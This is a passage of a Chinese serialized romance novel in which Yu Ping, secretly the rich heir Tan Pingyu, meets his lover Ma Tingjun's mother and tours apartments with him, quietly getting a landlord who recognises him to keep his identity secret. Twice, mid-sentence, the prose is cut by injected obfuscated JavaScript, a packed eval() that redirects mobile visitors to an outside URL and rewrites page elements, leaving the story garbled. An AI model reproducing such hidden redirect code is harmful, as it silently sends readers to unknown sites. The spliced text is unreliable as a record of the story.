说是找“麻霆君与俞平”,麻霆君的亲朋好友,认识他们的,今天都来筵席了。上楼之前,俞平把所有的可能性想了个遍,最坏的不过谈皎打电话来叫他回去——他在鹭镇,从来不见谈皎来关怀,若是她心里的坚冰都能软化,与旧年一并昏倒,整座枢城也要随之颠覆了。 他把麻霆君赶出门,反锁了卧室,回拨过去。 那头道:“是麻公馆吗?” 俞平当即安了心,笑道:“蕙心!” 郁蕙心听出是他,赶忙道:“麻霆君在你身边吗?” 俞平道:“我才把他赶出去。你是要找他吗?” “不用,你就把他赶出去好了,这样轻松了我。” 郁蕙心笑道,“今年过年也没见到你,总觉得空落落的,才记得来打个电话关怀。凭玉,新年快乐!” 俞平也道:“新年快乐。” 再笑着与她聊一会,一时忘记过了多少时间。今年郁公馆最热闹,郁蕙心唯一的弟弟,借圣诞假回了家,可惜俞平目前不能和他打招呼,也就此作罢; 谈公馆照旧冷冷清清,据说老爷还操持着一些事务,却是身体欠佳;谈皎忙得焦头烂额;严太太早收拾东西,乘船去了京都,谈文翡则不知去留。唯有谈行一打游戏最节节高升。 俞平夹着听筒,有一搭没一搭地应着,忽然开口道:“对了,忘记同你讲,麻霆君嫌旧名难听,过阵子要来枢城改名。” 又道:“流程有点繁复,可能要多在枢城住几天。要是有时间,你肯为我们接风洗尘,请我们吃顿饭吗?” “凡是你的事情,我哪一次不满足了你?”郁蕙心笑道,“我连你喜欢麻霆君都猜得出来,请客吃饭算什么?又在这里扮可怜。” 俞平坚持道:“可是更名很麻烦呢!” 郁蕙才肯心话锋一转,道:“好端端的,改什么名字?他也真是能折腾。” 俞平附和道:“是,他可烦人了。” 郁蕙心便道:“他的新名字是什么,你讲出来,我先适应适应。” 俞平闲闲地“嗯”着拖长音,拖至预见郁蕙心急不可耐,才道:“谈四奶奶。” 郁蕙心大喊一声“谈凭玉”,又立刻倒抽一口冷气,捂了嘴。料想她是在郁公馆,不如外头的小公寓里自在,泄一通气,开门查看外头有没有经过佣人。许久才回来,压抑着声音,咬牙跺脚道:“谈凭玉,我没见过你这种人!” “我和他在恋爱!”俞平计划得逞,吃吃笑起来,又道,“我家这边只有你知道,千万要保密!” 郁蕙心道:“有什么好保密的?现在都在传:你要娶倭人的花魁做正妻。你爸爸和姨娘硬是被你气老几岁!” 俞平笑道:“那么,等他们看见了麻霆君,或许会有一丝宽慰。” 郁蕙心道:“送走一个倭人花魁,新来一个乡下小伙,宽慰什么?五十步笑百步。” 俞平哈哈大笑,道:“我不管,我就是喜欢他!” 正要继续与她谈天,电话那头倏地传来一声“弟弟”,不是郁蕙心的声音。能够叫他弟弟的一共三位,出现的偏偏是他最不肯面对的一位。俞平笑容凝固在脸上,剩一颗心徒然跳着。 谈文翡听出他慌张,带有嘲笑性质地笑一声,道:“好久不见。” 当是好久不见了,他在鹭镇消磨了多少时日,又还有多少供他白白浪费?迟迟等不来他应答——谈文翡又道:“我可没有戳穿你的心思,只是来和你贺一声喜。新年快乐。” 俞平匆匆道:“新年快乐。” 当即撂了电话,开门把麻霆君接进来,立刻索一个吻。才触到唇瓣,俞平身上一阵酥软,往麻霆君身上栽。麻霆君便把他凌空抱在身上,亏是身手矫健,稳稳当当。再摸索去床边坐下。 俞平吻得倒是克制,实则也费不出多少心思。若非谈文翡来提点,他必然愈发昏头下去——秉承做谈四爷时的最后一丝直觉,他尝出麻霆君唇舌这般甜蜜,像是嗓眼间挖进的一滴蜜,甜得如鲠在喉,死去活来。 谈公馆里的年岁,像是一场做不完的噩梦。彼时他以为自己不会有感情,尚无牵无挂,把麻霆君摘来做他生活中的小小点缀。现在忆及过去,他自己都不堪设想,何况牵连麻霆君;正是因为这份恩爱,他舍不得让麻霆君陪他重蹈覆辙,可他的自由要结束了。 时至今日,他已经不大嗅得出危险,更不说是走钢索。先前也预料过自己会拖泥带水,没想到绊了他脚步的是麻霆君……算了,当是鹭镇上的一场美梦。梦做多久都行,无非是睁眼那一瞬最难熬,照到天光就好了。 他们做恋人不久,倒是十分有默契,不约而同松了口。麻霆君不肯放手,牢牢抱着他,温柔笑在他耳畔,道:“怎么,是谁找你,我能够知道吗?” 俞平不肯答,只热烈地啄他的脸,左一下,右一下。麻霆君被他亲得发痒,笑道:“话不肯讲,却平白无故对我这么好,莫不是心虚?究竟发生什么了?” 外头有人推门进来,两人都是一惊,俞平连忙从麻霆君身上站起来。进来了一个妇人,有些富态,看着雍容华贵。 麻霆君也坐不住了,起身抱怨道:“娘,怎么不敲门!” 麻三奶奶见了他们,后退一步,道:“上回一同去枢城,我吃的药好像落在你的皮包里。我是来找药的。你不是在楼下敬酒么,谁知道你神不知鬼不觉地上楼了?” 俞平不知所措,一点点往边上挪步子,腿脚擦过床头柜,险些站不稳。麻霆君听见声响,立刻把他抱回身边,他红了耳根,轻声道:“收敛些,你娘在呢!” 麻霆君道:“就算天塌下来,也不能让你摔着了。” 三奶奶见他们这般亲密,冷笑一声,道:“老头说你有个密友,叫做俞平,就是他吗?” 麻霆君的生母——麻三奶奶,爱子心切,对麻霆君可谓有求必应,唯独不喜欢他参与同性恋情。阿吉他们危言耸听了多少回!平日里稍有风吹草动,先把俞平捂严实了,躲躲藏藏。 过俞平的生活也就这点不好。除了家业,他是听惯奉承的,一群人戴笑脸面具,他做的再坏也能颠倒了黑白。来到鹭镇,才知晓人情世故滋味如何。 麻三奶奶不接受俞平就罢了,会不接受谈四爷吗?一想如此,他心中又略带些得意。姑且拘谨地道:“三奶奶好。” 麻霆君忙道:“他是俞平,我向你提起过很多遍的。” “俞平么,我们后院的大红人了,就算你不和我提起,谁不知道他?”三奶奶道,“也就是你,号称天天把他带在身边,却不肯带来让我见见。今天好不容易被我逮到一回,你想怎么抵赖?” 麻霆君紧张道:“娘,俞平对我来说很重要……” 三奶奶打断道:“重要就重要,你对我这般提防做什么?我可是你亲娘!” 俞平看他们相处,大致猜得出:必然是三奶奶坚持己见,麻霆君也孜孜不倦,朝她吹了多少耳旁风。母子一脉相承,都不肯退缩一步!便不去淌这趟浑水,管自己乖巧站在一旁。 三奶奶朝他而来,捏准他的下巴。麻霆君紧张不已,底下赶忙牵了他的手,朝母亲道:“娘!” 三奶奶笑道:“知道我是你娘,我会害你不成?” 松了手,问俞平道:“嗳,小俞平,你看电影吗?” 俞平瞄麻霆君一眼,道:“五少爷常带我去看。” “你知不知道一位影星?”三奶奶眼里有了光彩,笑道,“她是我的偶像,可你太年轻了,也许不知道。” 继而他听见他母亲的名字被报了出来。 “不知道。”他低着头道。 三奶奶道:“不知道也正常,她是我那一代的明星,风光大嫁作谈二奶奶,至此息影,可惜红颜薄命……听说她儿女双全,我倒是没见过。不过我猜,她若是生儿子,应该和你长得差不多。” 谈二奶奶是谈皎与谈凭玉的生母,谁不知道!谈凭玉与俞平又是一层不可言说的关系。倒不是麻霆君自己介意,他更加担心俞平回想起伤心事,急忙扯来皮包,把夹层里的西药翻出来,道:“娘,我和平儿有话要说,晚点来给你请安。” 他叫得顺口,平儿都冒了出来,霎时一怔。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089339|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三奶奶却笑道:“是褒是贬分不清楚?我说你的平儿长得很美呢!” 这哪像是反对他们交往的态度?麻霆君犹犹豫豫,腰板才直了不少。然而方才俞平接过电话,身上难得却熟悉的落寞回来了,与第一次拒绝他的时候如出一辙。 他摸清了一些俞平。俞平便是这样的,一旦内心空虚了,就要不顾一切地寻材料来填补。吻得再热烈,想来全是拿自己做海上浮木。他不怕俞平骗他,他怕藏在暗处的谎言把俞平腐蚀了——当务之急是把俞平的心事琢磨明白了,而非全心全意做个孝子。 他道:“娘,我们真有正事。” “干什么,我是你娘,还不准我和你们多相处一阵吗?” 三奶奶搬把椅子坐下,反而不走了。道,“什么正事,说来听听?” 什么正事?接吻不尽兴算正事么——俞平一念至此,不禁扑哧一笑。末了一双狐狸眼睛瞟他们一轮,后知后觉错了场合,麻三奶奶又如何放得过他?问他道:“霆君好面子,不肯告诉我。小平儿,你悄悄透露给我,你们商量什么正事?” 俞平道:“敬酒的事。” 麻霆君道:“买公寓的事。” 二人不约而同地开口,却冒出了两模两样的答案。麻霆君见状,抢先咳两声,胡诌道:“敬酒的时候,顺口提了公寓。俞平在枢城生活许久,比我更加熟悉,我想参考他的意见。” 三奶奶笑道:“听上去,这公寓只有你们两个住。” 麻霆君道:“俞平孤身一人和我去枢城,我当然要负责他的衣食住行了。” 三奶奶道:“哦,你还没问过他?” 俞平也道:“我出来讨生活,本就是无依无靠。五少爷待我一直都好,我当然听他的安排。” 见他们这般扭扭捏捏,三姨太笑道:“唉,我们的小平儿受苦了!” 她上前抱了抱俞平,道:“你尽管把麻公馆当作家,把我们当作你的亲人。日后,我们霆君要是欺负你了,打电话来和姨娘说,姨娘替你做主。” 麻霆君迟疑道:“娘,你肯答应了?” 三奶奶道:“劝归劝,可做娘的,总是希望儿女平安幸福。既然你真心,可别学那颜青,一天一个心思,明年平儿若不来拜年了,我也把你扫地出门!” “娘,放心。”麻霆君笑道,“过了年,我一定带平儿好好来见你。” “得了,赶快下来吧。” 麻三奶奶走时牢牢关上了门。剩下他们两个,方才一刻热闹好像没有存在过。原先的忧愁重新弥散开来,俞平屏息凝神,数心弦数目,苦楚却也好像消散完了。 这般荒唐,迟早要出事。 唯有麻霆君热情地来吻他,他暂时不想搭理,又措手不及。勉强搪塞过去后,笑一笑作了结了。 麻霆君反而不灰心,笑道:“总算看你笑了,吓我一跳。” 俞平也知道他看出自己反常,变着法子讨好自己,便道:“是郁蕙心找我,号码是郁公馆的,你查得到。” 麻霆君刮他的鼻梁,道:“咦,那你难过什么?” 俞平道:“怎么,不准我怀念过去吗?” 说话时候,外头点了一串爆竹,噼啪炸开,小段的红纸渐渐升至窗口。俞平攀窗户,隐隐约约看见兰香的身影在其中扑腾,好不热闹。 麻霆君便贴着他的后背,把他拘在自己的怀中,闷闷地道:“早知道,我就住在枢城码头边,把你带回来,一点不好的回忆都不给你留。” 俞平笑道:“不得了,这是吃醋了呀?” 麻霆君愈埋愈深,俞平拢着他的手臂,也把他抱得紧了些。麻霆君却不肯仅限于此,倒扳他的脸,非亲到他的嘴不可。 他头扭得连带脖子也酸,忍无可忍,猛然推开麻霆君,道:“亏你是五爷,自卑什么?有什么醋好吃的?我爱你,你也爱我,要是感觉不出来,我不同你好了!” 麻霆君便靠在他肩上,撒娇道:“感觉不出也正常,我毕竟是你的小狗。” “我可不要笨狗。” “哎呀,我看你就喜欢笨狗。” 66.狐假 麻霆君要在枢城安家落户,最早能追溯到去年——银行挑吉利日子,明年新春正式开张,搬家却不能拖延,最迟也是今年秋末。 枢城城市布局基本定下,新开的楼盘都在远郊,真正装潢完毕,兴许还要等上三年五年。便把目光放到旧房里,挑挑拣拣。 正月十五一过,新年是彻底结束了。麻霆君心目中的新年却延续着,时常打着喜迎新春的借口,把价格力所能及地往低里谈。他对待任何事物都认真,所以格外讨人喜欢,这次更是认真中的认真——平心而论,若是过单身生活,凑合就罢了;他许诺了俞平,便没有怠慢的道理,精挑细选一番,费了多少功夫,总算筛了三户出来,要请俞平最终过目。 俞平先前做四少爷,十指不沾阳春水,房产在他心目中无非是大一点的模型玩具。听麻霆君说得紧张,才知道原来置新房是个大工程。他怕语出惊人,光附和着,默默祈祷麻霆君别挑中了自己家里的。 又说三处公寓,两处都在江南,离栀子花街道近。 江南若是有见识过谈四爷风采的,他这个四爷也是白担了。 看房的日子,俞平难得一次不扮朴素,大张旗鼓打扮一番。走前把翡翠扳指戴了又摘,想是“以防万一”,却也究竟不出什么万一的,最终估计用不上,还是存在阁楼。换了麻霆君送的白贝母耳坠子,倒还是头一回用。 第一户落在栀子花街道,远远的便望得见银行。 麻霆君向来走得快,此时更是三步并一步。俞平管自己慢慢吞吞踏台阶。还剩一层,不等麻霆君揿门铃,里头房东出来招呼他,笑脸相迎: “麻先生,之前有人出的价更高,我们已经卖给他了。” 客套声一响,俞平也不白费力气,躲在楼下几户门口。朝走廊有开窗的,由窗帘布遮了。他看清自己的倒影,竟难分清现在时日;看出风华半分不减,他理应还是谈凭玉。 兴许只是他自己的愧疚心理作祟,他一点也没变?俞平是没有模样的,他顶着一张美丽面孔,做什么都行。可要做回谈凭玉,他好像又记不清以往的行事准则。谈凭玉是什么?一颗零件,一座雕塑?细细思索不清。 麻霆君下楼时牵了他,两人都有些心烦意乱,三缄其口,留着自己消磨。 第二户在江南深处,白天里照旧看得出灯红酒绿,总算有点回枢城的实感。车开到楼下,麻霆君不想叫他陪自己白跑一趟,买了点心,先把他留在车里。 相识要一年了,麻霆君还是小孩口味。纸盒里规整盛六个葡挞,从舌尖甜至肠胃。咖啡竟也是甜的,不知道他托店员加了多少块方糖。 然而俞平还没吃得出腻,他便蹬蹬蹬地跑下来了,脸上阴云密布,看着比先前心情更差。 俞平掰了半个葡挞给他,道:“听你最中意这户,我看也还不错,怎么走了?” 麻霆君一口吞了,含糊不清道:“房东当我是拖家带口地来,要送我婴儿床。我说我有一位男爱人,他就不肯卖给我了。” 俞平笑得开心,再喂他吃葡挞,道:“你这么实诚?” 他虽是委屈,面对俞平,依然坚强地道:“我不觉得有什么可隐瞒的,我们是光明正大的爱人,他若是不接受,换一家就是了,没什么大不了的。” “唉,我来宝贝宝贝你!” 俞平返身跪在座椅上,搂着他脖颈,扳他面孔,一左一右亲过。 麻霆君抹了吻痕,先前的失意还印在脸上,新的笑意当即上涌,落得出个不伦不类的表情,又多少有些怕羞,道:“宝贝儿,等下要开车呢!” 最后一处公寓在江东滨江区,偏是偏,价格丝毫不敷衍。 这片地带归属滨江,俞平看着却完全不熟悉,必然是滨江区今年又扩建,把周边一切魑魅魍魉都包容了进来,跌他们正规滨江的身价。再瞧见一排洋楼,灰砖红顶,算是气派。门口挂牌“贝琴公寓”,汉语没有这般文法,想来是个舶来词的音译,还算耳熟。 一盒葡挞净叫麻霆君吃光了。他百无聊赖在车里坐一阵,指尖蘸着边角的酥皮吃,好不容易等来麻霆君敲车窗。 “平儿,我这里没问题,就等你的意见!” 他裹了呢子外套。女式的服装时兴在领口镶一圈毛,衣扣束紧,衬得脸像颗羊脂玉。麻霆君不知怎得,也为他照式照样抄了来,白毛蒲公英似的散了一圈,谁看不是只小白狐狸。 他今天格外夺目。麻霆君遭他惊艳着,只会痴痴地笑,道:“每次想到你是我的人了,我还觉得不可思议呢!” 俞平伸手抽他一掌,他也笑着接纳了,继而撇来另半边脸,堵着俞平的手心,非尝点苦头不可。 气得俞平白眼翻在眨眼间,缩了手,道:“简单,我们分手就好了。” 麻霆君赖皮道:“这不好,你是舍不得我的。我说得准不准?” 洋楼看似修得高,实则不过三楼,估摸着里头做复式,一户顶人家好几层。上到一半,俞平福至心灵,匆匆瞥见二楼一户的门牌,翻了来看,惊喜道:“原来郁蕙心平时躲在这里!” 麻霆君笑道:“你不是和她关系好?我非要这户不可了。以后我去上班,你还能找她吃茶打牌。” 俞平道:“是不是你不想搭理我,才要把我发配给她?” “怎么会?我是恨不得每时每刻和你粘在一起的,怕你嫌我太烦人。” “我看,是你嫌我烦人。” 俞平笑过一声算数,却见门口鞋架上一排皮鞋积了灰,人大约还留在郁公馆住。他没掀门铃,往薄薄一层尘上按了指印,假装造访过。 他们要看的一户正巧在郁蕙心楼上。房门虚掩着,怕被风打上,夹一叠报纸。留下的家具不少,百货公司应急之流,搭配一番还算雅致。 俞平不动神色,心上琢磨一通,想来是卖了应急的,能对麻霆君的钱包宽容些。便弯腰拆了皮靴绳结,哪料到麻霆君片刻安宁不留给他,飞起一脚把拖鞋踢远了,再把他打横抱在怀里,道:“这拖鞋穿着太冷,你若是着了凉,倒不如我现在多费点力。” 俞平身板真不小——平日有麻霆君相伴,看不出他高挑,实则也是个大骨架。一双长腿生怕踢翻什么,僵直着,以至身子往下滑,原本被麻霆君抱在胸膛间,转眼要坠下腰带了。 他怕跌到地上,紧紧攥着麻霆君的衣领,喊道:“我知道上一家房东为什么不肯卖给你了,麻霆君!” 他一个字比一个字喊得响,麻霆君自知玩得过火,小心翼翼抱紧他的腰,好不容易把他扶直了,先发制人道:“我们不是一家的吗?怎么向着别人,数落起我了?” 俞平把大衣的纹路掸顺了,道:“真不想认识你!” 麻霆君笑道:“可你不但认识我,还是我的恋人,这是怎么一回事?” 麻霆君此人非比寻常,亲热高兴,打骂也高兴,俞平招他不住,管自己生闷气。 麻霆君缠他不放,再回来从身后抱着他,笑道:“讲好不嫌我烦人的,怎么要抵赖?” 俞平道:“你再讲大声点,叫房东听见了,不肯卖给我们——你还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096061|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑得出来就好了!” 麻霆君道:“餐厅灭了一盏灯,房东去边上买了电灯泡了,请我们随便看。等他回来,我会收敛的。” “你能收敛到哪里去?”俞平想起什么,乜他一眼,道,“你总不会已经和他说了,你有个男爱人吧?” 麻霆君笑道:“我么,我肯定是瞒不住的。刚才不说,等下也要说。” 俞平冷笑道:“要是他也介意,你找不到住所,被迫风餐露宿了。我便题两个大字给你:‘活该’。” 又嫌自己说得太亲昵,多少有打情骂俏之疑。继而狠狠道:“我不但要花你的积蓄,住高级饭店,还要一脚把你踹了。雇个保镖来,见你一次打你一次。” “唉,我好害怕!”麻霆君笑道,“那么,我更是要把你抱紧了,省得你欺负我。” 年轻气盛唯有一点不好:抱得久了,顺其自然要吻作一团。唇舌间的火候若是不到位,周遭世界的一切都不管不顾了,那时候外边大门被轻轻带上了,两人还都以为是风,更是不可开交了些。 少倾花瓶上晃来一个人影——那房东见了他们这般亲密,惊叫一声,灯泡子滚了一地。 “做什么,做什么!快分开!” 房东不忍直视,更是充血上头,手忙脚乱,低着头烦躁道,“猴急什么,这房子还是我的呢!在别人屋檐下也敢伤风败俗,造孽啊!” 这般突然造访,麻霆君心里虽是惊慌,仍旧先吻了俞平的额头安慰,再帮忙拾灯泡。房东狠狠撑开一只口袋,生怕碰了麻霆君的手似的,斥道:“好学不学,学什么阔家少爷养戏子?我当你是个正经人呢!” 事态不容乐观至此,眼见又要重新奔波找住所,麻霆君却不肯松口,道:“先生,不是你想的这样,他是我的爱人。” “我是报社的,你这种人要多不少,没一个好下场!告诉你也不要紧——” 房东正气得七窍生烟,推开麻霆君,去看俞平的面孔。他方才只是匆匆一瞥,单看出个美人轮廓,私自判了不正经的定论。亏是他先前对麻霆君印象好,此时更是恨铁不成钢了些,巴不得知道麻霆君被什么东西蛊惑了,把藏着掩着的风流韵事都讲一遍。 俞平多一条回谈公馆的退路,便不是真心求他,也想知道他讲得出什么鬼话,不愿回避,斜斜掷过去一眼——却瞧那房东白了面孔,方才还是酱紫猪肝红,这时已然灰得像粉刷的白墙,人也哆哆嗦嗦,不当心撞倒了一只花瓶。 麻霆君急忙去扶花瓶。 俞平心中大致有数,暗地一笑,装作平静道:“是哪里的灯泡灭了?” 房东张口结舌,哑了许久,才道:“餐厅……左手边的餐厅。” 俞平便闲闲倚在墙上,打发道:“霆君,你去帮他换。” 房东不敢吭声。麻霆君见他至少不来责骂,势必多献一点殷勤,从他手里接来口袋,露出个强撑开朗的笑,道:“是,我很会换灯泡,包在我身上就行,不用您费心。” 麻霆君走前,最后朝俞平笑一笑,柔声道:“平儿,不用担心,我马上回来。” 俞平朝他微笑,底下偷偷挥手告别。 待麻霆君的脚步消失干净,他眼底的色彩一点点冷下来——房东腿脚软,干脆放弃挣扎,瘫倒在地,装模作样地擦拭花瓶。然则实在抖得厉害,才刚捏在手里,顷刻又叫花瓶咕噜着滚远了。他踱步上前。 麻霆君真没舍得给他穿拖鞋,他脚上还是原先的一双皮靴,硬底,一步踏得比一步响亮,道: “认识我?” 67.虎威 “不……不认识。” “不认识我,抖什么?” 房东才呜咽着道:“四……四爷……” 俞平先前看房东很是面生,心里属实没底,也就面子撑得硬。好不容易等来房东松口,终于喘了口气,摆架子也闲闲的。他这般功力岂能被房东招架得住,尤其是他嘴唇形状曲曲折折,始终似笑非笑,衬得他一双狐狸眼也深邃不少,英俊又含情。 换做麻霆君,不知被他鬼迷了心窍多少遍;房东与他们不属于一路,依然要鼓起勇气,道:“四爷,您身份特殊,我真不知道您会来我这寒舍!我若是早了知道,哪有怠慢的道理!” 他挑张椅子坐了,懒懒地把腿一翘,识破房东窘相,笑道:“既然你认识我,想必听说过我的传闻。我前一阵确实是在东京捧花魁,不过提前回来了。家里还不知道这事,我猜你也不愿意掺和,是吗?” “是,是,我什么都不知道。我向您保证:等您出了房门,我必定忘个干净,当您没来过。” 房东说罢,又补救起先前失态,道,“四爷,我实在无可奈何……那姓麻的人高马大,挡着了您,我方才真没看清!” 俞平轻笑道:“他是我的人,怎么会是‘姓麻的’?” 房东愣着,一声不吭。 “我是与男子交好,有何不可?”俞平道,“你要是讲得出所以然,这公寓随你开价,多少钱我都给你。” 房东忙道:“四爷,您是上流之士,这般闲情雅致不是旁人学得来的;我当他与我同是一介草民,怕他飞得高来摔得痛,真是狗拿耗子瞎操心。” 到底是做四爷舒服,做什么都有人阿谀求容。可惜的认识他的不常有,就是在谈公馆的日子,也要附属他人狐假虎威。难得叫他歪打正着地遇上了,岂能不扬眉吐气?可惜麻霆君修灯泡的动静不小,传过来一清二楚。 他知道麻霆君手脚麻利,怕回来得太早,便没心思听房东继续恭维,道:“这公寓我应该会要,你和我透个底价。” 房东不敢贸然开口。他便道:“我想你是卖公寓是急用,哪里出了事?” 房东才道:“实不相瞒,我是枢城日报的主编。近来广播流行,当是好事一桩,可看报的人少了,报社周转不过,我想卖了公寓,先暂时抵上一部分。” 他倏地想起什么,眼睛亮不少,又道:“四爷,兴许您不记得我,可那篇《谈家唯一一颗夜明珠》,正是我写的!” 俞平道:“我还要谢谢你?” 房东讪讪道:“不敢当,不敢当。小把戏,博四爷一笑。” 报社要周转,沦落至卖公寓,必然不是小事。俞平不好贸然讨价还价,思忖片刻,道:“我愿意投资给报社。” 房东诧异道:“四爷,此话当真?” 俞平道:“你去谈公馆找我姐姐,说是我的意思,她会答应的。” 房东照旧不可置信,面色凝固一阵,半晌才道:“四爷,不是我怀疑您。虽说您是四爷,可这口说无凭,听着没底不说,也不知道大小姐如何看待。” 俞平耸了眉毛,落下翘在上门的一只脚,鞋跟叩两声地板,打断道:“谁敢顶着我的名义和她要价?” 房东道:“不敢,可……” 他笑道:“有这房子攥在你的手里,还担心找不到我?” 房东再要怀疑,这时也该识趣了,连忙作揖,道:“谢谢四爷!这公寓是我买了作投资的,平时不住。既然您愿意出资给报社,不如就当是我的一点心意,尽管收下。” 又讨好地笑道:“我去给麻先生搭把手,叫他快快结束了,一同去办过户。” “事情一码归一码,我不来占你的便宜。你若是有心谢我,我也有个不情之请。” 俞平往餐厅方向看一眼,笑道:“霆君还不知道我姓谈,我也不想叫他知道。等下该说什么不该说什么,你应该比我更清楚。” 房东感激涕零,道:“四爷,我千言万语道不出感谢!” 正说着,麻霆君踩着这话的尾巴出来了。房东紧急住了口,揣手站在一旁。 一旦看见麻霆君,俞平总是情不自禁微笑着,就算要在他那里恃宠而骄,摆谱子刁蛮人,也把微笑藏在心里,真当是着了他的魔。这时微笑却多少带了几分心虚。 幸而麻霆君正悔不当初,修灯泡时越修越苦恼,害怕是房东为难他的俞平,始终悬着一颗心,却是欲速则不达,比平时毛手毛脚不少。灯泡好不容易打得亮了,他立刻出来,道:“先生,电灯换好了,您去看看。” 房东早潸然泪下,道:“谢谢少奶,少奶真是一表人才……” 俞平在麻霆君身后,把眼睛一瞪。房东闭着眼,改口道:“麻先生,实在是有劳。方才我思索过,那电灯一开始买得就太次,我配个更好的回来。” 麻霆君道:“不麻烦,只是些接触不良的毛病,灯丝拧上就好了。” 房东道:“不,还是要买得好点。” 一刻钟不到的功夫,这房东竟与先前判若两人。其间发生了什么?麻霆君微微皱眉,底下忽然被俞平十指相扣了,他顺着俞平手指一点冰凉,捉俞平的笑眼盈盈,一时间忘乎所以。便更是握紧了俞平的手,牵来身边,一道亮相给房东看,道:“先生,平儿是我正式的爱人,若是你不能接受,我们另寻他处。” 房东道:“我怎么不能够接受?凭先生,麻先生,我看你们是一对金童玉男……” 话说到一半,想来“玉”犯了四爷的名讳,四爷是一种气息,只可意会,不可言传;姓麻的再单纯,与他朝夕相处,绝不可能什么疑心没有。忙改口道:“金童金男。” 又想来谈公馆何许之地?同四爷提金银,实在太俗。再改口道:“你们真是一对钻石男男。” 见俞平笑不出来。房东自知言多必失,请他们上楼参观房间。 麻霆君听不懂,察出气氛诡异异常,故意与俞平慢慢吞吞地走,轻声道:“我不在的时候,你们聊了什么?” “你怎么什么都要知道?” 俞平扫一轮房东的背影,掩着嘴,凑在他耳边悄悄道,“唉,他说,他不喜欢同性恋人,可你是他见过的最好的青年,因此肯对你通融一些。” 俞平说假话最好识别,因为俞平从来没有真心夸过人——麻霆君眉头微微一皱,心上涌起几分迟疑,却是难得受他一回表扬,手上同俞平十指相得更紧。他不见房东回头,悄无声息地扪俞平的下巴,用力吻着俞平的嘴。 俞平透不过气,捶打一阵才推得开他,轻声道:“说好要收敛,还是一刻不肯消停!” 麻霆君道:“这便是小别胜新婚——我有多少收敛,你心里还不知道?我早想吻你了!” 二楼房间不少,主卧朝南,大片阳光洒进来,照得木头地板亮得反光,细看也是一尘不染。掀窗帘出去还有一方小阳台,支桌椅,晒太阳吃茶。 麻霆君看得欢喜,心上更是暖融融的,不由自主畅想未来。笑道:“平儿,我看这房间比我的都要好。你那阁楼又潮又暗,雨下大下小都漏,再熬一阵,搬来这里,总算是不用受苦了。” 俞平到底是想回谈公馆,对这公寓实在提不起兴致,也就随便地应付麻霆君的热情。直到听他提起阁楼,才打起精神,“咦”了一声。 麻霆君看他难得犯糊涂,心里更是灿烂,道:“怎么样?其实我早想叫你搬出来了。” 房东原本就插不进话,这时更是无话可说,去抄了把扫帚进来,画蛇添足地打发时间。 俞平支吾一阵,道:“从没见你提起过。” 麻霆君道:“我知道你心高气傲,就算我诚心诚意地邀请,你也一定不答应。不过来了枢城,除非你不肯和我好了,否则我看你怎么抵赖。” 俞平心中五味杂陈,感动与无奈交织着,嘴上不饶人,生硬道:“这公寓是你买的,要是吵架了,不得把我赶出去?” 麻霆君笑道:“惹你不高兴,必当是我的错。我滚出去。” “嗳,你这人。” 他们实在太旁若无人了一些,房东就算捂紧耳朵,照旧听得一清二楚,犹如正在油锅上煎。 他原本就青睐麻霆君,同性恋也无可厚非,兴许麻霆君坚持一阵,他半推半就便答应了,哪知道麻霆君爱得如此肉麻,爱得死去活来! 不过他深爱着四爷也不奇怪——房东自圆其说得别扭,轻咳一声,拘谨道:“麻先生,实话实说,我这房子卖得着急,你们若是诚心要,价格方面好商量。” 麻霆君道:“先生,之前谈好分批次付钱,要是您能再宽限,准许往后延一年,我便不来还价了。” “唉,这都不是问题。”房东看了俞平脸色,道,“你初来乍到在枢城,用钱的地方多,我看,不如再低一些?” “当真?” “我看你是个难得的好人,我这公寓除了你,还愿意不卖给别人呢!” “真是再好不过了!” 俞平低头笑一声,不想参与他们的讨价还价,开了阳台门,攀在阑干上透气。 往回看公寓灰砖墙,里头装着的便是他和麻霆君的小家了,细想还是不可思议。他忘了本,忘记谈公馆一砖一瓦,只有这方小小天地才真正能遮风避雨。他叹一口气——好像太识货了也不好,碰到个花钱买不回来的,立刻当作无价之宝,捧在心上。 微风吹过,阳台底下一排常绿乔木,顶尖泛一些新绿,油汪汪的。他看那暖黄的嫩叶却也冰冷,烦恼 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房东道:“四爷,您是我的贵人,一切都听您的安排。” 俞平礼貌性道别,顺手牵羊了两颗糖果,出门后分了麻霆君一颗。 麻霆君嚼着糖果,嘴里依然不安分,回味一阵先前种种,突然道:“奇怪了,这么优惠,会不会有诈?” “有什么诈?”俞平被他吓一跳,又笑着开起玩笑,搪塞道,“我旺夫,不知道吗?” 麻霆君一愣,笑道:“真是旺!我可是足足省了一大笔钱。既然如此,你有没有什么喜欢的东西,刚好作为谢礼。” 俞平道:“我喜欢你,把你的心捧出来给我。” 麻霆君撒娇道:“不好!” 他撒娇不过片刻,一笑便破了功。出了公寓楼,走到街角,见一间花店。店面虽不深,却是极宽的,外头镶落地玻璃窗,看清楚里头繁花种种。才是乍暖还寒时候,已然有不少品类的花朵水淋淋插在桶里,五彩缤纷。 俞平顺势被吸引进去,经行几桶洋桔梗,再也走不动路。麻霆君偏偏和他唱反调,一个个标牌看过去,挑中了最贵的一类,要把他也唤过来。俞平便道:“打扰了,这位先生是买给谁?” 麻霆君道:“给我的心肝宝贝。” 俞平笑道:“那就听你心肝宝贝的,要洋桔梗。” 